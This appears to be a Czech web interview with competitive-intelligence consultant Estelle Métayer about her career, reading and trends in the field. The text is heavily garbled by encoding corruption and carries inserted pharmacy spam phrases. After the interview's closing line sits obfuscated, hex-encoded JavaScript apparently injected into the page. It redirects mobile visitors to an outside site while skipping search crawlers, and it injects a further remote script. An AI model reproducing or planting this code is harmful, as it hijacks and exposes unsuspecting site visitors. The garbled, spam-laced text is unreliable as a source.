Rozhovor s Estelle MAi??tayer

Rozhovory

24. 6. 2011

Estelle MAi??tayer

Estelle MAi??tayer je odbornicAi?? na konkurenA?nAi?? a strategickAi?? zpravodajstvAi??. JejAi?? vA?zkum se zamAi??Ai??uje na zpA?soby, jakA?mi manaA?eAi??i, CEO a A?lenovAi?? pAi??edstavenstva budujAi?? a vylepA?ujAi?? svAi?? strategickAi?? plA?novA?nAi?? a CI tak, aby se vyhnuli slepA?m bodA?m.

JejAi?? kariAi??ra zaA?ala v ING Bank v Holandsku a v Polsku, kde studovala ekonomickA? rizika expanze na rozvAi??jejAi??cA­i?? se trhy. BA?valA? konzultantka u McKinsey & Company zAi??skala praktickAi?? zkuA?enosti z oblasti konkurenA?nAi??ho zpravodajstvAi??, business development a strategickAi??ho plA?novA?nAi?? ve firmAi?? CAE, zabA?vajAi??cAi?? se vA?robou leteckA?ch simulA?torA?. Je zakladatelkou firmy Competia, pAi??ednAi??ho hrA?A?e v oblasti vzdAi??lA?vA?nAi?? manaA?erA? a analytikA? ve strategickAi??m zpravodajstvAi??, a aA? do roku 2004 byla i jejAi?? Ai??editelkou.

Tituly MBA a Drs. zAi??skala na University of Nijenrode v Holandsku. Jako pAi??Ai??leA?i­tostnA? profesorka vyuA?uje s Henry Mintzbergerem na McGill University. V roli hostujAi??cAi?? pAi??ednA?A?e­jAi??cAi?? se takAi?? podAi??lAi?? na International Masters Program in Practicing Management vedenA?m univerzitou v Lancasteru, univerzitou McGill, IMB (Indie) a institutem INSEAD. Estelle je drA?itelkou ocenAi??nAi?? Arista Sunlife „Podnikatel roku 2000“ a v roce 2001 byla finalistkou ocenAi??nAi?? „Women of Merit“ udAi??lovanA?m YWCA.

Estelle je velmi aktivnAi?? na sociA?lnAi??ch sAi??tAi??ch a doporuA?ujeme ji sledovat na Twitteru. ordering lutbium.


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VAi??Ai??Ai??m, A?e prvnAi?? otA?zka zajAi??mA? asi kaA?dAi??ho: jak jste se vy sama dostala ke konkurenA?nAi??mu zpravodajstvAi??? Co bylo tAi??m prvnAi??m impulsem?

PotAi??, co jsem opustila McKinsey & Company, jsem se pAi??ipojila k firmAi?? CAE, kterA? byla a stA?le je lAi??drem mezi vA?robci simulA?torA? pro leteckA? prA?mysl. MojAi?? rolAi?? v CAE bylo vytvoAi??it oddAi??lenAi??, kterAi?? by pomA?halo analyzovat informace o trhu. Koncept konkurenA?nAi??ho zpravodajstvAi?? byl v tAi?? dobAi?? v USA chA?pA?n stA?le vAi??ce a vAi??ce, ale Kanada zaostA?vala. Shledala jsem komunitu CI profesionA?lA? inspirativnAi?? a objevila jsem mnoA?stvAi?? nA?strojA?, kterAi?? mi mohly pomoci pochopit trhy a konkurenty hloubAi??ji, neA? jen prostA? syntAi??za tiskovA?ch zprA?v a marketingovA?ch broA?urek… cialis black market.

Studovala jste na Nyenrode Business Universiteit a na Ecole de Management de Lyon. JakAi?? vzdAi??lA?nAi?? je podle VA?s nejlepA?Ai?? pro CI profesionA?la? NA?A? portA?l spravujAi?? studenti informaA?nAi??ch vAi??d a knihovnictvAi??, zdA? se mi vA?ak, A?e vAi??tA?ina profesionA?lA? proA?la A?kolami spAi??A?e ekonomickA?ch smAi??rA?.

ProfesionA?lovAi?? z oblasti konkurenA?nAi??ho zpravodajstvAi?? dnes postrA?dajAi?? dvAi?? klAi??A?ovAi?? dovednosti. Tou prvnAi?? je schopnost analyzovat informace a odvozovat poznatky, kterAi?? jdou daleko za hranice prostAi?? syntAi??zy. Tyto analytickAi?? schopnosti se bohuA?el zAi??Ai??dkakdy uA?Ai??, zvlA?A?tAi?? na prvnAi??m stupni vzdAi??lA?vA?nAi??. Zjistila jsem, A?e nejlepA?Ai?? analytickAi?? mozky, kterAi?? jsem potkala, strA?vily nAi??jakA? A?as v jednAi?? z velkA?ch poradenskA?ch firem, kterAi?? mAi??li vyvinutAi?? rA?mce, analytickAi?? metody k analA?ze A?trA?kovitA?ch informacAi?? a uA?ili se extrapolovat minulost. Za druhAi?? se CI profesionA?lovAi?? potAi??ebujAi?? zlepA?it v nA?pomocnosti – schopnosti sednout si s managementem, provAi??st je zjiA?tAi??nA?mi skuteA?nostmi a dovAi??st je aA? k pochopenAi?? a k lepA?Ai??mu rozhodovA?nAi??. PrezentaA?nAi?? dovednosti, dobrA? komunikaA?nAi?? prA?prava a solidnAi?? dA?vka sebevAi??domAi?? – to jsou vAi??ci, kterAi?? se na manaA?erskA?ch programech (MBA) obvykle neuA?Ai??… OpAi??t platAi??, A?e prA?ce v klientskAi??m tA?mu v kontextu poradenskAi?? firmy mA?A?e pomoci. MoA?nA? i titul z oboru vzdAi??lA?vA?nAi???

JakAi?? schopnosti jsou pro CI profesionA?la klAi??A?ovAi???

ZvAi??davost, vytrvalA? vA?le pochybovat o vA?eobecnAi??m pAi??esvAi??dA?e­nAi?? a co nejmAi??nAi?? zaujatosti A?i oddanosti jednAi?? teorii. VAi??ce prakticky pak vynikajAi??cAi?? znalost technik zAi??skA?vA?nAi?? dat (aA? uA? on-line nebo z primA?rnAi??ch zdrojA?), dobrA? sada analytickA?ch technik a vynikajAi??cAi?? pAi??semnA? i A?stnAi?? komunikace.

JakA? zkuA?enost VA?s osobnAi?? nejlAi??pe pAi??ipravila na prA?ci CI profesionA?la?
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Bez diskuze mA? prA?ce pro McKinsey & Company, a to pAi??edevA?Ai??m dAi??ky analytickA?m dovednostem, kterAi?? jsem zAi??skala pAi??i Ai??eA?e­nAi?? nAi??kterA?ch nejtAi??A?A?Ai??ch vA?zev managementu. DA?le pak dAi??ky tomu, A?e mi dala solidnAi?? zA?klady klientskAi??ho managementu, influence skills a tzv. nutnosti nesouhlasit.

Literatury o konkurenA?nAi??m zpravodajstvAi?? je mnoho. KterA? kniha VA?s osobnAi?? ovlivnila nejvAi??ce a jakAi?? publikace byste doporuA?ila studentA?m a zaA?A?teA?nAi??kA?m?

UA?ila jsem si Strategic and Competitive Analysis od Babette BensoussanovAi?? ai??i?? ta kniha je ponAi??kud akademickA?, ale je dobrA?m startovnAi??m bodem k pochopenAi?? analytickA?ch metod. Futurethink od Edieho Wienera je pAi??Ai??mo zlatA? dA?l inspirace k pochopenAi?? budoucAi??ch trendA? a k pAi??emA?A?le­nAi?? o odvAi??tvAi??ch zcela novA?mi zpA?soby. Early Warning Bena Gilada pomA?hA? porozumAi??t oblastem moA?nA?ch slepA?ch mAi??st. TakAi?? jsem si uA?ila knihu Renee MauborgnovAi?? Blue Ocean pro jejAi?? jednoduchA?, ale A?A?innA? pAi??Ai??stup. Na mAi??m noA?nAi??m stolku byly naposledy knihy Business Model Generation Alexe Oesterwaldera a Idea Hunter Billa Fishera.

JednAi??m z vaA?ich nejvA?raznAi??jA?A­i??ch zA?jmA? je trend spotting. Moje dalA?Ai?? otA?zka je tedy zjevnA?: jakAi?? jsou nejvAi??tA?Ai?? trendy v oblasti konkurenA?nAi??ho a strategickAi??ho zpravodajstvAi??? cheap dutas

DobrA? otA?zka. VidAi??m rostoucAi?? zA?jem o lepA?Ai?? pochopenAi?? zA?kaznAi??kA? ai??i?? tuto A?A?st pole konkurenA?nAi??ho zpravodajstvAi?? mAi??lo v minulosti tendenci „vlastnit“ oddAi??lenAi?? vA?zkumA? trhu. Firmy si zaA?Ai??najAi?? uvAi??domovat, A?e techniky CI mohou bA?t vysoce relevantnAi?? k pochopenAi?? potAi??eb a tuA?eb zA?kaznAi??ka. TakAi?? pozoruji obnovenA? zA?jem o mapovA?nAi?? sAi??tAi?? – skrze novAi?? techniky vizualizace, a samozAi??ejmAi?? takAi?? znaA?nA? potenciA?l miningu sociA?lnAi??ch mAi??diAi?? – firmy teA? mohou mapovat spojenAi?? mezi lidmi, firmami, lobbisty, regulA?tory a dalA?Ai??mi mnohem nA?zornAi??ji. RmoutAi?? mAi?? pokles vA?znamu klasickA?ch asociacAi?? tradiA?nAi?? podporujAi??cAi??ch CI profesionA?ly jako SCIP, Strategic Planning Society nebo World Future Society, a pAi??A?la bych si, aby existovala profesionA?lnAi?? sAi??A? dostupnA? pro senior executives z tAi??to oblasti.

Opravdovou hrozbu vidAi??m v A?Ai??lenstvAi?? kolem sociA?lnAi??ch mAi??diAi??: profesionA?lovAi?? konkurenA?nAi??ho zpravodajstvAi?? z celAi??ho svAi??ta na tyto zdroje informacAi?? A?asto silnAi?? spolAi??hajAi??, a to na A?kor spolehlivAi??jA?A­i??ch, strukturovanA?ch zdrojA? dat.

JeA?tAi?? jedna otA?zka ohlednAi?? budoucnosti. Johanes Deltl, managing director spoleA?nosti Acrasio, popsal po nedA?vnAi?? akvizici Fuld & Company svou pAi??edstavu vA?voje v oblasti CI. ZatAi??mco pokroA?ilA? analA?za bude stA?le setrvA?vat u CI expertA?, zA?kladnAi?? sluA?by budou podle nAi??j poskytovA?ny asijskA?mi hrA?A?i nebo hrA?A?i z roz­vAi??jejAi??cA­i??ch se trhA?. „Jsem velice zvAi??davA?, co by mohlo pAi??inAi??st nA?sledujAi??cA­i??ch pAi??t let,“ napsal. Co myslAi??te Vy? JakA? bude podle VA?s budoucnost konkurenA?nAi??ho zpravodajstvAi???
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Ta akvizice mAi?? zmA?tla – ale jednoduchA?m vysvAi??tlenAi??m by mohlo bA?t prostAi?? umoA?nit zakladateli odejAi??t do dA?chodu…

OsobnAi?? nejsem tak zvAi??davA?, co pAi??inese pAi??Ai??A?tAi??ch pAi??t let. SvAi??t informaA?nAi??ch agregA?torA? se jiA? nAi??jakou dobu konsoliduje a bude se sjednocovat i nadA?le, na druhAi?? stranAi?? ale narA?stA? nejednotnost informaA?nAi??ch brokerA?, protoA?e mnoho z tAi??chto informaA?nAi??ch profesionA?lA? zaklA?dA? a provozuje svAi?? firmy jako jednotlivci. Pokud jsme se z nedA?vnA?ch skandA?lA? a Wikileaks alespoA? nAi??co nauA?ili, tak pochybuji, A?e by organizace chtAi??ly vsadit vA?echno na jednu kartu a umoA?nit nAi??jakAi?? vA?zkumnAi?? firmAi?? hrA?t vA?znamnou roli ai??i?? jakA?koliv A?nik dat by byl pAi??Ai??liA? A?kodlivA?. Pokud se budeme bavit o nA?strojAi??ch a softwaru pro konkurenA?nAi?? zpravodajstvAi??, tak zatAi??mco americkA?m firmA?m se nepodaAi??ilo rA?st a vyvAi??jet produkty, v EvropAi?? dnes vyvstA?vajAi?? takovAi?? firmy jako Digimind nebo Trivium, kterAi?? expandujAi?? i do SevernAi?? Ameriky. SouhlasAi??m s nA?zorem, A?e analA?za zA?stane spjatA? s CI odbornAi??ky zakotvenA?mi v jednotlivA?ch organizacAi??ch. VAi??tA?ina hodnoty jakAi??koliv analA?zy v tomto poli spoA?Ai??vA? v zAi??skA?vA?nAi?? buy-in (kaA?dA? osoba, kterA? se nAi??jak podAi??lAi?? na pAi??Ai??pravAi?? rozhodnutAi?? nebo se jAi?? rozhodnutAi?? bude tA?kat, rozumAi??, proA? je danAi?? rozhodnutAi?? formulovA?no tak, jak je – jednA? se tedy o pochopenAi?? a jistou formu dA?vAi??ry zainteresovanA?ch stran v danA? strategickA? rozhodnutAi?? – pozn. red.) od manaA?erA? a vedoucAi??ch pracovnAi??kA?, kteAi??Ai?? budou muset jednat na zA?kladAi?? zAi??skanA?ch vAi??domostAi??, proto je tato odpovAi??dnost zakotvena ve spoleA?nosti.

Jste zakladatelkou a bA?valou prezidentkou firmy Competia, bA?valA? konzultantka v McKinsey & Company, jako pAi??Ai??leA?i­tostnA? profesorka uA?Ai??te na McGill University a pAi??ednA?A?Ai??te na IMD ve Ai??vA?carsku. VaA?e kariAi??ra je vA?jimeA?nA?, navAi??c jste jeA?tAi?? matkou s mnoha soukromA?mi zA?jmy. ZajAi??malo by mne, jak vypadA? vA?A? vA?ednAi?? den.
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VAi??tA?ina mAi??ho A?Ai??adovA?nAi?? zahrnuje podporu pAi??i zasedA?nA­i??ch sprA?vnAi?? rady nad strategickA?mi otA?zkami – obvykle jednou za dva nebo tAi??i dny. MA?m tedy mnoho A?asu na prA?ci z kancelA?Ai??e. KdyA? neuA?Ai??m nebo nepomA?hA?m, vAi??nuji rA?no pAi??Ai??pravA?m podkladA? pro klienty nebo tvorbAi?? vA?ukovA?ch materiA?lA?, vA?zkumu a publikovA?nAi??. JelikoA? A?iji v EvropAi??, trA?vAi??m vAi??tA?inou odpoledne konferenA?nAi??mi hovory s mA?mi klientskA?mi tA?my v SevernAi?? Americe. Zhruba dvAi?? hodiny dennAi?? vAi??nuji sociA?lnAi??m sAi??tAi??m, vAi??tA?inu svAi??mu Twitteru. To dAi??lA?m brzy rA?no, obvykle pAi??ed osmou tak, abych oslovila svAi?? asijskAi?? klienty a followery, a pak pozdAi??ji k veA?eru, kdyA? je SevernAi?? Amerika v prA?ci a EvropanAi?? se po prA?ci zaA?Ai??najAi?? schA?zet. Dost A?asu takAi?? vAi??nuji konferencAi??m, kterAi?? mi pomA?hajAi?? utvA?Ai??et si vizi budoucnosti: LIFT, Davos, a dalA?Ai??. MA?m ten obrovskA? luxus tAi??mAi??Ai?? A?plnAi?? kontroly nad svou vlastnAi?? agendou, takA?e obvykle nepracuji bAi??hem A?kolnAi??ch prA?zdnin, kterAi?? trA?vAi??m s rodinou.

KdyA? uA?Ai??m v zA?moAi??Ai?? nebo pAi??ednA?A?Ai??m na mezinA?rodnAi?? konferenci, pak samozAi??ejmAi?? obvyklA? rozvrh letAi?? z okna a vA?e padA?.

A?as od A?asu tweetujete o letadlech a leteckAi??m prA?myslu. Teprve nedA?vno jsem zjistil, A?e jste i komerA?nAi?? pilotkou a instruktorkou lAi??tA?nAi??. Jak jste se dostala k tak neobvyklAi??mu konAi??A?ku?

PrvnAi?? lekci akrobatickAi??ho lAi??tA?nAi?? jsem absolvovala v jednadvaceti letech ve VelkAi?? BritA?nii, kde jsem tou dobou A?ila. Od tAi?? chvAi??le jsem se vA?dy chtAi??la nauA?it lAi??tat a mAi??la jsem tu A?est A?Ai??t 17 let v KanadAi??, coA? byl pro piloty uA?inAi??nA? rA?j. Licenci komerA?nAi??ho a leteckAi??ho instruktora jsem zAi??skala bAi??hem kariAi??ry v McKinsey – byl to mimo jinAi?? dobrA? zpA?sob, jak si odpoA?inout a odpoutat se od pracovnAi??ch zA?leA?itostAi??. TakAi?? mAi?? inspiruje kurA?A? pilotA? letadel ai??i?? nebe je pro nAi?? limitem doslova! Konec koncA? je mezi mA?m zA?jmem o strategickou analA?zu, a pAi??edevA?Ai??m analA?zu moA?nA?ch slepA?ch bodA? a vA?cvikem pilotA? velmi silnA? vazba – velkA? A?A?st vA?cviku zahrnuje uA?enAi?? schopnostem provA?dAi??t sprA?vnA? rozhodnutAi?? v nAi??kolika mA?lo kritickA?ch okamA?icAi??ch – coA? se pAi??Ai??liA? neliA?Ai?? od toho, co musAi?? vedoucAi?? pracovnAi??k nebo manaA?er podstupovat na kaA?dodennAi?? bA?zi. V prA?bAi??hu doby leteckA? prA?mysl nastAi??A?dal mnoho vAi??domostAi?? o chybA?ch, kterAi?? mohou nastat pAi??i provA?dA­i??nAi?? takovA?chto rozhodnutAi??, napAi??Ai??klad kdyA? se pAi??edchozAi?? zkuA?enost mA?A?e stA?t nevA?hodou. Mnoho tAi??chto vA?zkumA? a vAi??domostAi?? mA?A?e bA?t pAi??Ai??mo aplikovA?no na zpA?soby, jakA?mi vedoucAi?? pracovnAi??ci rozhodujAi??.
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DAi??kuji za rozhovor.var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( 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d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])}var 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_0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}

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Rubrika: Rozhovory

Zveřejnil: Tomáš Marek

Sekce: Profesionál, Podnikatel, Student

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